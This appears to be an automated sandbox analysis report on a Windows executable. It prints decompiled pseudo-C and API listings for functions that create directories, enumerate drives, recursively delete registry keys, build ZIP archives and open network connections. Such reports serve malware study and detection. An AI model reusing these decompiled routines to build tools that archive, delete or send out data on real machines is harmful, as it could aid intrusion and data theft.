						if(E0041C5A7() == 0) {
							goto L40;
						} else {
							memset( &(_t161[0xe0]), _t161[5], 0x90 << 2);
							_t161 =  &(_t161[3]);
							 *_t161 = _t152;
							_t161[1] = _t161[0x179];
							strcpy(??, ??);
							_t86 = _t161[0x2eb707];
							if(_t86 != 0x2f && _t86 != 0x5c) {
								_t161[0x2eb707] = 0x5c;
								_t161[4] =  !0xffffffff;
							}
							_t123 =  &(_t161[0x1c]);
							_t156 = 0;
							_t161[5] = _t161[0xc];
							_t161[7] = _t161[4] + _t123;
							while(_t156 != _t161[5]) {
								_t161[1] = _t156;
								_t161[2] =  &(_t161[0xe0]);
								 *_t161 =  &(_t161[8]);
								if(E0041B06A() != 0) {
									_t153 = 0;
									_t161[2] = 0x104 - _t161[4];
									_t161[1] =  &(_t161[0xef]);
									 *_t161 = _t161[7];
									strncpy(??, ??, ??);
									_t139 = _t161[0x1c];
									if((_t139 & 0xffffffdf) - 0x41 <= 0x19) {
										_t153 = 0 | _t161[0x1c] == 0x0000003a;
									}
									memset( &(_t161[0x9e]), 0, 0x105 << 0);
									_t161 =  &(_t161[3]);
									_t151 = 0;
									if(_t153 != 0) {
										_t161[0x9e] = _t139;
										_t151 = 2;
										_t161[0x9f] = _t161[0x1c];
									}
									_t161[6] = (_t153 ^ 0x00000001) & 0x00000001;
									while(1) {
										_t108 =  *((intOrPtr*)(_t123 + _t151));
										if(_t151 > 0x103 || _t108 == 0) {
											break;
										}
										if(_t108 == 0x2f || _t108 == 0x5c) {
											if(_t161[6] == 0 || _t151 <= 0) {
												if(_t151 <= 2 || _t153 == 0) {
													goto L21;
												} else {
													goto L26;
												}
											} else {
												L26:
												_t116 =  &(_t161[0x9e]);
												 *_t161 = _t116;
												L0041F7C4();
												_t117 = _t116 + 1;
												if(_t117 != 0) {
													goto L21;
												} else {
													L0041F7D4();
													if( *_t117 == 0x11) {
														goto L21;
													} else {
														goto L11;
													}
												}
											}
										} else {
											L21:
											_t151 = _t151 + 1;
											 *((char*)(_t161 + _t151 + 0x27a)) =  *((intOrPtr*)(_t123 + _t151 - 1));
											continue;
										}
										goto L39;
									}
									if((_t161[0xe2] & 0xef) != 3 || (_t161[0xeb] & 0x00000020) == 0) {
										_t154 =  &(_t161[8]);
										_t161[1] = _t156;
										 *_t161 = _t154;
										if(E0041B020() != 0) {
											goto L31;
										} else {
											_t161[3] = 0;
											_t161[2] = _t123;
											_t161[1] = _t156;
											 *_t161 = _t154;
											if(E0041C368() != 0) {
												goto L31;
											} else {
												goto L11;
											}
										}
									} else {
										L31:
										if(_t161[0x17a] != 0) {
											 *_t161 = _t123;
											_t161[1] = _t161[0x17b];
											if(_t161[0x17a]() < 0) {
												goto L11;
											} else {
												goto L37;
											}
										} else {
											L37:
											_t156 = _t156 + 1;
											continue;
										}
									}
								} else {
									L11:
									_t122 = _t123 | 0xffffffff;
								}
								L39:
								 *_t161 =  &(_t161[8]);
								if(E0041C416() == 0) {
									goto L40;
								}
								goto L41;
							}
							_t122 = 0;
							goto L39;
						}
					}
				}
				L41:
				return _t122;
			}

APIs

Part of subcall function 0041C5A7: fopen.MSVCRT ref: 0041C5C3
Part of subcall function 0041C5A7: fseek.MSVCRT ref: 0041C5E1
Part of subcall function 0041C5A7: ftell.MSVCRT ref: 0041C5ED
Part of subcall function 0041C5A7: fclose.MSVCRT ref: 0041C604

strcpy.MSVCRT ref: 0041F216
strncpy.MSVCRT ref: 0041F29A
_mkdir.MSVCRT ref: 0041F337
_errno.MSVCRT ref: 0041F33F

Strings

, xrefs: 0041F35F
:, xrefs: 0041F2B1
\, xrefs: 0041F227

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _errno_mkdirfclosefopenfseekftellstrcpystrncpy
String ID: $:$\
API String ID: 268051615-2457500751
Opcode ID: 9526ac459c02bb7793610bcab494c40ffb002977be289f00c765dc40185c480f
Instruction ID: 79c026138aa9a439cba8819bc206cad1fae7c9babfb4a3138d3d5cf70f9326d1
Opcode Fuzzy Hash: 9526ac459c02bb7793610bcab494c40ffb002977be289f00c765dc40185c480f
Instruction Fuzzy Hash: 56616E7550C7898AD7249F39C4803EFBBE1AF84304F54493FE8E883341D779898A8B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00406084, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 0041236C: malloc.MSVCRT ref: 0041237C

SetErrorMode.KERNEL32 ref: 004060A9
GetLogicalDriveStringsA.KERNEL32 ref: 004060C1
GetVolumeInformationA.KERNEL32 ref: 0040617C
GetDiskFreeSpaceExA.KERNEL32 ref: 004061D3
GetDriveTypeA.KERNEL32 ref: 00406250

Strings

mWYCi a46w, xrefs: 00406209
@, xrefs: 00406215

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Drive$DiskErrorFreeInformationLogicalModeSpaceStringsTypeVolumemalloc
String ID: @$mWYCi a46w
API String ID: 4103324456-2045538538
Opcode ID: 6e05202e2b6317dcf9b285d138a61c7554b9cffc0ce9619bb66956b9d9d47aae
Instruction ID: 7bbe8d17847550f4164a14e3f7f2cb4162b00115eb79a228a3fcc10edc21327c
Opcode Fuzzy Hash: 6e05202e2b6317dcf9b285d138a61c7554b9cffc0ce9619bb66956b9d9d47aae
Instruction Fuzzy Hash: EF61ABB0509741AEE300AF26C59435FFBE4BF84748F01882EE4D897251E7B985898F86

Uniqueness

Uniqueness Score: -1.00%

Function 0041086B, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32 ref: 004108D0
RegOpenKeyExA.ADVAPI32 ref: 00410900

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

RegEnumKeyExA.ADVAPI32 ref: 00410958
RegCloseKey.ADVAPI32 ref: 0041096B
RegDeleteKeyA.ADVAPI32(00000000), ref: 00410978

Strings

%s\%s, xrefs: 0041089B
@, xrefs: 0041099A

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Delete$CloseEnumOpen_vsnprintf
String ID: %s\%s$@
API String ID: 3258335120-919846355
Opcode ID: c5fee486713a1e3e413a08c522e5d7fe8b5e1595fa91894b84a89dceef684568
Instruction ID: 9d604c6237a7cde6d8c47273939e6e17ca47206dd9184e21b4ed585c08607efa
Opcode Fuzzy Hash: c5fee486713a1e3e413a08c522e5d7fe8b5e1595fa91894b84a89dceef684568
Instruction Fuzzy Hash: FB31D2F04087059EE710EF26C59839FFBE4AF84748F00891EE4D897251D3B985898F9B

Uniqueness

Uniqueness Score: -1.00%

Function 00405D7D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00405DAD
malloc.MSVCRT ref: 00405DF8
send.WS2_32 ref: 00405E96
WSAGetLastError.WS2_32 ref: 00405EA5
LeaveCriticalSection.KERNEL32 ref: 00405ECC

Strings

-, xrefs: 00405DB7

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeavemallocsend
String ID: -
API String ID: 1786834168-2547889144
Opcode ID: 772a2119c266b746b4a9d798261a1b96d186bc9b60f73d726c78d5d6e4f8f310
Instruction ID: 542a74277ee6daf56934a715b94c3cb6415021c893f49c4910618d7e1c795e3b
Opcode Fuzzy Hash: 772a2119c266b746b4a9d798261a1b96d186bc9b60f73d726c78d5d6e4f8f310
Instruction Fuzzy Hash: 8B416E70608B008FC720EF69D48461BBBE4EF85324F518A3FE994A73D1C77899458F9A

Uniqueness

Uniqueness Score: -1.00%

Function 004054AC, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00405519
send.WS2_32 ref: 004055BC
select.WS2_32 ref: 0040561A
__WSAFDIsSet.WS2_32 ref: 00405631
recv.WS2_32 ref: 00405657

Strings

Z, xrefs: 00405668

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: htonsrecvselectsend
String ID: Z
API String ID: 3248711867-1505515367
Opcode ID: 7fdafd5f5f0b92cca46f8b9916048dc5279d19b1817b053ad7dd1c959cdc6263
Instruction ID: 3f3365598393d2eea2e9170436329f57a1f754e33c93ecced5829fb6f7628eb6
Opcode Fuzzy Hash: 7fdafd5f5f0b92cca46f8b9916048dc5279d19b1817b053ad7dd1c959cdc6263
Instruction Fuzzy Hash: 094117B0418744ABD321AF25C1843AFBBE4FF84758F508D2EF4D887291D7B995888B57

Uniqueness

Uniqueness Score: -1.00%

Function 0041C87B, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0041C87B(intOrPtr* _a4, signed int _a8, signed int _a12, signed int _a16, char* _a20, signed short _a24, signed int _a28, signed int _a32, signed int _a36, intOrPtr _a40) {
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v38;
				char _v42;
				char _v46;
				char _v47;
				unsigned short _v48;
				char _v49;
				char _v50;
				char _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				void _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v84;
				signed short _v86;
				signed short _v88;
				signed int _v96;
				signed short _v100;
				signed int _v104;
				signed int _v108;
				intOrPtr _v112;
				unsigned int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				intOrPtr _v212;
				signed int _v216;
				char* _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _t257;
				signed int _t259;
				signed int _t261;
				signed short _t267;
				signed int _t269;
				signed int _t277;
				signed int _t280;
				signed int _t283;
				void* _t292;
				signed int _t301;
				void* _t319;
				signed int _t330;
				signed int _t337;
				void* _t340;
				void* _t348;
				signed int _t349;
				intOrPtr _t352;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				intOrPtr _t365;
				void* _t370;
				signed int _t371;
				signed int _t385;
				intOrPtr _t391;
				signed int _t394;
				unsigned short _t399;
				signed int _t427;
				char* _t428;
				signed int _t434;
				signed int _t437;
				void* _t438;
				signed short _t439;
				signed int _t441;
				signed int _t442;
				char** _t445;
				char** _t446;
				char** _t447;

				_t445 =  &_v220;
				_t370 = _a4;
				_v88 = 0;
				_v86 = 0;
				_v128 = _a24;
				_t257 = _a28;
				_v164 = _a32;
				_v160 = _a36;
				if(_t257 < 0) {
					_t257 = 6;
				}
				_v148 = 1;
				_t434 = _t257 & 0x0000000f;
				_v108 = _t434;
				if(_t434 != 0) {
					_t385 = _t257 >> 0x0000000a & 0x00000001;
					_v148 = _t385;
				}
				if(_t370 == 0) {
					L30:
					return 0;
				} else {
					_t441 =  *(_t370 + 0x48);
					if(_t441 != 0 &&  *((intOrPtr*)(_t370 + 0x14)) == 2) {
						_v156 = _a16 != 0;
						if((_v156 & (_t385 & 0xffffff00 | _a12 == 0x00000000)) == 0 && _a8 != 0 && (_v128 == 0 || _a20 != 0) &&  *(_t370 + 0x10) != 0xffff && _v108 <= 0xa) {
							_t259 = _t257 & 0x00000400;
							_v104 = _t259;
							if(_t259 != 0) {
								__eflags = _v160;
								if(_v160 > 0) {
									goto L30;
								}
								L17:
								_t261 = E00414919(_a8);
								__eflags = _t261;
								if(_t261 == 0) {
									goto L30;
								}
								_v116 =  *_t370;
								_v112 =  *((intOrPtr*)(_t370 + 4));
								 *_t445 =  &_v60;
								L0041F6BC();
								_t371 =  &_v86;
								E00415FC6(_v60, _t371,  &_v88);
								asm("repne scasb");
								_t267 =  !(_t371 | 0xffffffff) - 1;
								__eflags = _t267 - 0xffff;
								_v132 = _t267;
								if(_t267 > 0xffff) {
									goto L30;
								}
								_t269 = E0041493A(_t370);
								__eflags =  *(_t370 + 0x10) - 0xffff;
								_t427 = _t269;
								if( *(_t370 + 0x10) == 0xffff) {
									goto L30;
								}
								_v140 = _t269;
								_v96 = 0;
								_v136 = 0;
								_v100 = _v132;
								asm("adc edx, 0x0");
								_v124 =  *_t370 + 0x4c;
								_v120 =  *((intOrPtr*)(_t370 + 4));
								asm("adc edx, [esp+0x74]");
								asm("adc edx, [esp+0x8c]");
								asm("adc edx, [esp+0x64]");
								__eflags = 0;
								if(0 > 0) {
									goto L30;
								}
								__eflags = _v132;
								_v124 = 0;
								if(_v132 == 0) {
									L26:
									_t277 = _v128 & 0x0000ffff;
									_t391 = _a4;
									_t374 = _t391 + _t277 + 0x2e + _v132;
									__eflags = _a8 - _t391 + _t277 + 0x2e + _v132;
									if(_a8 >= _t391 + _t277 + 0x2e + _v132) {
										L28:
										_t74 =  &(_a20[1]); // 0x3
										_t375 = _t74;
										__eflags = _t74 - _a24;
										if(_t74 <= _a24) {
											L31:
											__eflags = _v148;
											if(_v148 != 0) {
												L35:
												_t437 = 0;
												__eflags = 0;
												L36:
												_t428 = _t427 + 0x1e;
												 *_t445 = _t428;
												_t280 = E00414DC1(_t370, _v112, _v116, __eflags);
												__eflags = _t280;
												if(_t280 != 0) {
													asm("adc edx, [esp+0x7c]");
													_v140 = _v140 + _v116;
													_t283 =  *(_t370 + 0x20);
													_t394 =  *(_t370 + 0x24);
													__eflags = _t394 | _t283;
													if((_t394 | _t283) != 0) {
														asm("adc edx, 0xffffffff");
														__eflags = _v136 & _t394 | _v140 & _t283 + 0xffffffff;
														if((_v136 & _t394 | _v140 & _t283 + 0xffffffff) != 0) {
															_v228 = 0x1837;
															_v232 = 0x424620;
															 *_t445 = "(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0";
															L0041F7E4();
														}
													}
													asm("adc edx, [esp+0x7c]");
													_v156 =  &(_t428[_v116]);
													_v152 = 0;
													memset( &_v60, 0, 0x1e << 0);
													_t446 =  &(_t445[3]);
													_v228 = _v152;
													_v220 = _v132;
													_v224 = _a8;
													_v232 = _v156;
													 *_t446 =  *(_t370 + 0x44);
													_t292 =  *((intOrPtr*)(_t370 + 0x3c))();
													__eflags = _v132 - _t292;
													if(_v132 != _t292) {
														L49:
														_v232 = _t437;
														 *_t446 =  *(_t370 + 0x34);
														 *((intOrPtr*)(_t370 + 0x2c))();
														goto L30;
													} else {
														asm("adc edx, [esp+0x54]");
														__eflags = _v104;
														_v156 = _v100 + _v156;
														_v152 = _v96;
														if(_v104 != 0) {
															L44:
															__eflags = _v148;
															if(_v148 == 0) {
																__eflags = _a16;
																if(_a16 == 0) {
																	_v148 = 0;
																	_v144 = 0;
																	_t442 = 0;
																	__eflags = 0;
																	L53:
																	_v232 = _t437;
																	 *_t446 =  *(_t370 + 0x34);
																	 *((intOrPtr*)(_t370 + 0x2c))();
																	__eflags = _v144;
																	if(_v144 > 0) {
																		goto L30;
																	}
																	__eflags = _v152;
																	if(_v152 > 0) {
																		goto L30;
																	}
																	_t438 =  &_v60;
																	_t399 = _v86;
																	_v116 = _v88;
																	__eflags = _t442 - 1;
																	_t301 = memset(_t438, 0, 0x1e << 0);
																	_t447 =  &(_t446[3]);
																	asm("sbb eax, eax");
																	_v48 = _t399;
																	_v47 = _t399 >> 8;
																	_v60 = 0x50;
																	_v59 = 0x4b;
																	_v56 =  !_t301 & 0x00000014;
																	_v58 = 3;
																	_v52 = _t442;
																	_v57 = 4;
																	_v50 = _v116;
																	_v49 = _v116 >> 8;
																	E00414900( &_v46, _a40);
																	E00414900( &_v42, _v148);
																	E00414900( &_v38, _v164);
																	_v220 = 0x1e;
																	_v224 = _t438;
																	_v32 = 0;
																	_v31 = 0;
																	_v34 = _v132;
																	_v228 = _v136;
																	_v33 = _v132 >> 8;
																	_v232 = _v140;
																	 *_t447 =  *(_t370 + 0x44);
																	_t319 =  *((intOrPtr*)(_t370 + 0x3c))();
																	__eflags = _t319 - 0x1e;
																	if(_t319 != 0x1e) {
																		goto L30;
																	}
																	_v208 = _t442 & 0x0000ffff;
																	_v188 = _v124;
																	_v192 = _v136;
																	_v196 = _v140;
																	_v216 = _v144;
																	_v200 = _v86 & 0x0000ffff;
																	_v224 = _v160;
																	_v204 = _v88 & 0x0000ffff;
																	_v212 = _a40;
																	_v220 = _v148;
																	_v228 = _v164;
																	_v232 = _v128 & 0x0000ffff;
																	 *_t447 = _a20;
																	_t330 = E00416311(_t370, _v132 & 0x0000ffff, _a8);
																	__eflags = _t330;
																	if(_t330 == 0) {
																		goto L30;
																	}
																	_t253 = _t370 + 0x10;
																	 *_t253 =  &(1[ *(_t370 + 0x10)]);
																	__eflags =  *_t253;
																	 *_t370 = _v156;
																	 *((intOrPtr*)(_t370 + 4)) = _v152;
																	return 1;
																}
																_v228 = 0;
																_v232 = 0xfffffff1;
																_v84 = _t370;
																_v68 = 0;
																_v76 = _v156;
																_v72 = _v152;
																_v64 = 0;
																 *_t446 = _v108;
																_v224 = E0041A99E();
																_v232 = E00416018;
																 *_t446 = _t437;
																_v228 =  &_v84;
																_t337 = E0041A64C();
																__eflags = _t337;
																if(_t337 == 0) {
																	_v224 = 4;
																	 *_t446 = _t437;
																	_v228 = _a16;
																	_v232 = _a12;
																	_t340 = E0041A5F0();
																	__eflags = _t340 != 1;
																	if(_t340 != 1) {
																		goto L49;
																	}
																	_t442 = 8;
																	_v148 = _v68;
																	_v144 = _v64;
																	_v156 = _v76;
																	_v152 = _v72;
																	goto L53;
																}
																goto L49;
															}
															L45:
															_v220 = _a16;
															_v228 = _v152;
															_v224 = _a12;
															_v232 = _v156;
															 *_t446 =  *(_t370 + 0x44);
															_t348 =  *((intOrPtr*)(_t370 + 0x3c))();
															__eflags = _a16 - _t348;
															if(_a16 != _t348) {
																goto L49;
															}
															_t349 = _a16;
															_v156 = _v156 + _t349;
															asm("adc [esp+0x54], edx");
															__eflags = _v104 - 1;
															_v144 = 0;
															_v148 = _t349;
															asm("sbb ebp, ebp");
															_t442 =  !_t441 & 0x00000008;
															goto L53;
														}
														 *_t446 = 0;
														_v228 = _a16;
														_v232 = _a12;
														_t352 = E004171DA();
														__eflags = _a16 - 3;
														_a40 = _t352;
														_v160 = 0;
														_v164 = _a16;
														if(_a16 <= 3) {
															goto L45;
														}
														goto L44;
													}
												}
												_v232 = _t437;
												_v132 = _t280;
												 *_t445 =  *(_t370 + 0x34);
												 *((intOrPtr*)(_t370 + 0x2c))();
												return _v132;
											}
											__eflags = _v156;
											if(_v156 == 0) {
												goto L35;
											}
											_v228 = 0x4df40;
											_v232 = 1;
											 *_t445 =  *(_t370 + 0x34);
											_t360 =  *((intOrPtr*)(_t370 + 0x28))();
											__eflags = _t360;
											_t437 = _t360;
											if(__eflags != 0) {
												goto L36;
											}
											goto L30;
										}
										 *_t445 = 1;
										_t362 = E00416134(_t370, _t375,  &_a16);
										__eflags = _t362;
										if(_t362 != 0) {
											goto L31;
										}
										goto L30;
									}
									 *_t445 = 1;
									_t364 = E00416134(_t370, _t374, _t441);
									__eflags = _t364;
									if(_t364 == 0) {
										goto L30;
									}
									goto L28;
								}
								_t365 = _a8;
								_t439 = _v132;
								__eflags =  *((char*)(_t365 + _t439 - 1)) - 0x2f;
								if( *((char*)(_t365 + _t439 - 1)) != 0x2f) {
									goto L26;
								}
								__eflags = _v164 | _v160;
								if((_v164 | _v160) != 0) {
									goto L30;
								}
								__eflags = _v156;
								if(_v156 != 0) {
									goto L30;
								}
								_v124 = 0x10;
								goto L26;
							}
							if((_v160 | _v164) == 0) {
								goto L17;
							}
						}
					}
					goto L30;
				}
			}

APIs

time.MSVCRT ref: 0041C9C4

Part of subcall function 00415FC6: localtime.MSVCRT ref: 00415FDA

_assert.MSVCRT ref: 0041CBC3

Strings

P, xrefs: 0041CE70
(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0, xrefs: 0041CBBC
K, xrefs: 0041CE78

Memory Dump Source

Source File: 00000009.00000002.406157548.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.406181953.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.406195314.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: _assertlocaltimetime
String ID: (local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0$K$P
API String ID: 239888755-1719531008
Opcode ID: cd97700670ffc604625be893ed21d500fd9a320e9f0d6e3cdad60bc31f370bed
Instruction ID: 8e089169dfaa1868ebee7eec05d644c009e56557b81e72ef4d504278135b65ea
Opcode Fuzzy Hash: cd97700670ffc604625be893ed21d500fd9a320e9f0d6e3cdad60bc31f370bed
Instruction Fuzzy Hash: 9222BF7494D3818FD720CF29C58579BBBE1BF88704F14892EE89887351E7B8E885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 004059D3, Relevance: 9.2, APIs: 6, Instructions: 166
networkCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E004059D3(signed int __ecx, signed int _a4, signed int _a8) {
				char _v44;
				char _v48;
				signed int _v60;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				void* __ebp;
				signed int _t57;
				intOrPtr _t61;
				signed int _t63;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				intOrPtr _t71;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t77;
				intOrPtr _t81;
				intOrPtr _t83;
				intOrPtr _t86;
				signed int _t87;
				signed int _t89;
				intOrPtr _t90;
				char* _t93;
				char* _t94;
				char* _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int* _t100;
				void* _t101;
				intOrPtr* _t102;

				_t88 = __ecx;
				_t100 =  &_v60;
				_t87 = _a4;
				_t97 = _a8;
				_v48 = 0xffffffff;
				if(E00408E53() != 4) {
					if(E00408E53() != 2) {
						_t93 =  &_v44;
						_v72 = _t97;
						 *_t100 = _t87;
						_v68 = _t93;
						_t57 = E004051B5(__ecx, _t90);
						if(_t57 != 0) {
							_v68 = 6;
							_v72 = 1;
							 *_t100 = 2;
							L0041F8E4();
							_t101 = _t100 - 0xc;
							_v60 = _t57;
							if(_t57 == 0xffffffff) {
								goto L28;
							}
							_v80 = 0x10;
							_v84 = _t93;
							_v88 = _t57;
							L0041F93C();
							_t102 = _t101 - 0xc;
							if(_t57 != 0) {
								L12:
								 *_t102 =  &_v72;
								_t57 = E00405999(_t90);
								goto L28;
							}
							L31:
							return _v72;
						}
						L28:
						return _t57 | 0xffffffff;
					}
					if( *0x42b300 == 0) {
						_t70 =  *0x42b304; // 0x0
						 *0x42b300 = _t70;
					}
					_t94 =  &_v44;
					_t98 =  &_v48;
					while(1) {
						_t61 =  *0x42b300; // 0x0
						if(_t61 == 0) {
							goto L31;
						}
						_v68 = _t94;
						_t91 =  *((intOrPtr*)(_t61 + 0x44));
						 *_t100 = _t61 + 4;
						_v72 =  *((intOrPtr*)(_t61 + 0x44));
						_t63 = E004051B5(_t88,  *((intOrPtr*)(_t61 + 0x44)));
						if(_t63 == 0) {
							L26:
							_t64 =  *0x42b300; // 0x0
							 *0x42b300 =  *((intOrPtr*)(_t64 + 0x88));
							continue;
						}
						_v68 = 0;
						_v72 = 1;
						 *_t100 = 2;
						L0041F8E4();
						_v80 = 0x10;
						_v84 = _t94;
						_v88 = _t63;
						_v60 = _t63;
						L0041F93C();
						_t100 = _t100;
						if(_t63 == 0) {
							_t66 =  *0x42b300; // 0x0
							_v88 = _t97;
							_v92 = _t87;
							_v96 = _t66;
							 *_t100 = _v72;
							if(E004058E9(_t98) == 0) {
								goto L23;
							}
							goto L31;
						}
						L23:
						 *_t100 = _t98;
						E00405999(_t91);
						goto L26;
					}
					goto L31;
				}
				if( *0x42b300 == 0) {
					_t86 =  *0x42b304; // 0x0
					 *0x42b300 = _t86;
				}
				_t95 =  &_v44;
				_t99 =  &_v48;
				while(1) {
					_t71 =  *0x42b300; // 0x0
					if(_t71 == 0) {
						goto L31;
					}
					_v68 = _t95;
					_t92 =  *((intOrPtr*)(_t71 + 0x44));
					 *_t100 = _t71 + 4;
					_v72 =  *((intOrPtr*)(_t71 + 0x44));
					_t73 = E004051B5(_t88,  *((intOrPtr*)(_t71 + 0x44)));
					if(_t73 == 0) {
						L15:
						_t74 =  *0x42b300; // 0x0
						 *0x42b300 =  *((intOrPtr*)(_t74 + 0x88));
						continue;
					}
					_v68 = 0;
					_v72 = 1;
					 *_t100 = 2;
					L0041F8E4();
					_v80 = 0x10;
					_v84 = _t95;
					_v88 = _t73;
					_v60 = _t73;
					L0041F93C();
					_t100 = _t100;
					if(_t73 != 0) {
						L14:
						 *_t100 = _t99;
						E00405999(_t92);
						goto L15;
					}
					_t92 =  *0x42b300; // 0x0
					_t77 =  *((intOrPtr*)(_t92 + 0x88));
					_t88 =  *((intOrPtr*)(_t77 + 0x44));
					_v96 = _t92;
					_v92 = _t77 + 4;
					_v88 =  *((intOrPtr*)(_t77 + 0x44));
					 *_t100 = _v72;
					if(E004058E9(_t99) == 0) {
						goto L14;
					} else {
						goto L8;
					}
					while(1) {
						L8:
						_t81 =  *0x42b300; // 0x0
						 *0x42b300 =  *((intOrPtr*)(_t81 + 0x88));
						_t90 =  *0x42b300; // 0x0
						if(_t90 == 0) {
							goto L31;
						}
						_t83 =  *((intOrPtr*)(_t90 + 0x88));
						_t89 = _v72;
						if(_t83 == 0) {
							_v88 = _t97;
							_v92 = _t87;
						} else {
							_v92 = _t83 + 4;
							_v88 =  *(_t83 + 0x44);
						}
						_v96 = _t90;
						 *_t100 = _t89;
						if(E004058E9(_t99) != 0) {
							continue;
						} else {
							goto L12;
						}
					}
					goto L31;
				}
				goto L31;
			}

0x004059d3
0x004059d7
0x004059da
0x004059de
0x004059e2
0x004059f2
0x00405b38
0x00405c00
0x00405c04
0x00405c08
0x00405c0b
0x00405c0f
0x00405c16
0x00405c1d
0x00405c25
0x00405c2d
0x00405c34
0x00405c39
0x00405c3f
0x00405c43
0x00000000
0x00000000
0x00405c45
0x00405c4d
0x00405c51
0x00405c54
0x00405c59
0x00405c5e
0x00405af8
0x00405afc
0x00405aff
0x00000000
0x00405aff
0x00405c64
0x00000000
0x00405c64
0x00405c18
0x00000000
0x00405c18
0x00405b45
0x00405b47
0x00405b4c
0x00405b4c
0x00405b51
0x00405b55
0x00405b59
0x00405b59
0x00405b60
0x00000000
0x00000000
0x00405b66
0x00405b6a
0x00405b70
0x00405b73
0x00405b77
0x00405b7e
0x00405beb
0x00405beb
0x00405bf6
0x00000000
0x00405bf6
0x00405b80
0x00405b88
0x00405b90
0x00405b97
0x00405b9f
0x00405ba7
0x00405bab
0x00405bae
0x00405bb2
0x00405bb7
0x00405bbc
0x00405bc8
0x00405bcd
0x00405bd1
0x00405bd5
0x00405bdd
0x00405be7
0x00000000
0x00000000
0x00000000
0x00405be9
0x00405bbe
0x00405bbe
0x00405bc1
0x00000000
0x00405bc1
0x00000000
0x00405b59
0x004059ff
0x00405a01
0x00405a06
0x00405a06
0x00405a0b
0x00405a0f
0x00405a13
0x00405a13
0x00405a1a
0x00000000
0x00000000
0x00405a20
0x00405a24
0x00405a2a
0x00405a2d
0x00405a31
0x00405a38
0x00405b1b
0x00405b1b
0x00405b26
0x00000000
0x00405b26
0x00405a3e
0x00405a46
0x00405a4e
0x00405a55
0x00405a5d
0x00405a65
0x00405a69
0x00405a6c
0x00405a70
0x00405a75
0x00405a7a
0x00405b13
0x00405b13
0x00405b16
0x00000000
0x00405b16
0x00405a80
0x00405a86
0x00405a8c
0x00405a92
0x00405a96
0x00405a9e
0x00405aa2
0x00405aac
0x00000000
0x00000000
0x00000000
0x00000000
0x00405aae
0x00405aae
0x00405aae
0x00405ab9
0x00405abe
0x00405ac6
0x00000000
0x00000000
0x00405acc
0x00405ad2
0x00405ad8
0x00405b09
0x00405b0d
0x00405ada
0x00405ae0
0x00405ae4
0x00405ae4
0x00405ae8
0x00405aec
0x00405af6
0x00000000
0x00000000
0x00000000
0x00000000
0x00405af6
0x00000000
0x00405aae
0x00000000

APIs

socket.WS2_32 ref: 00405A55
connect.WS2_32 ref: 00405A70

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
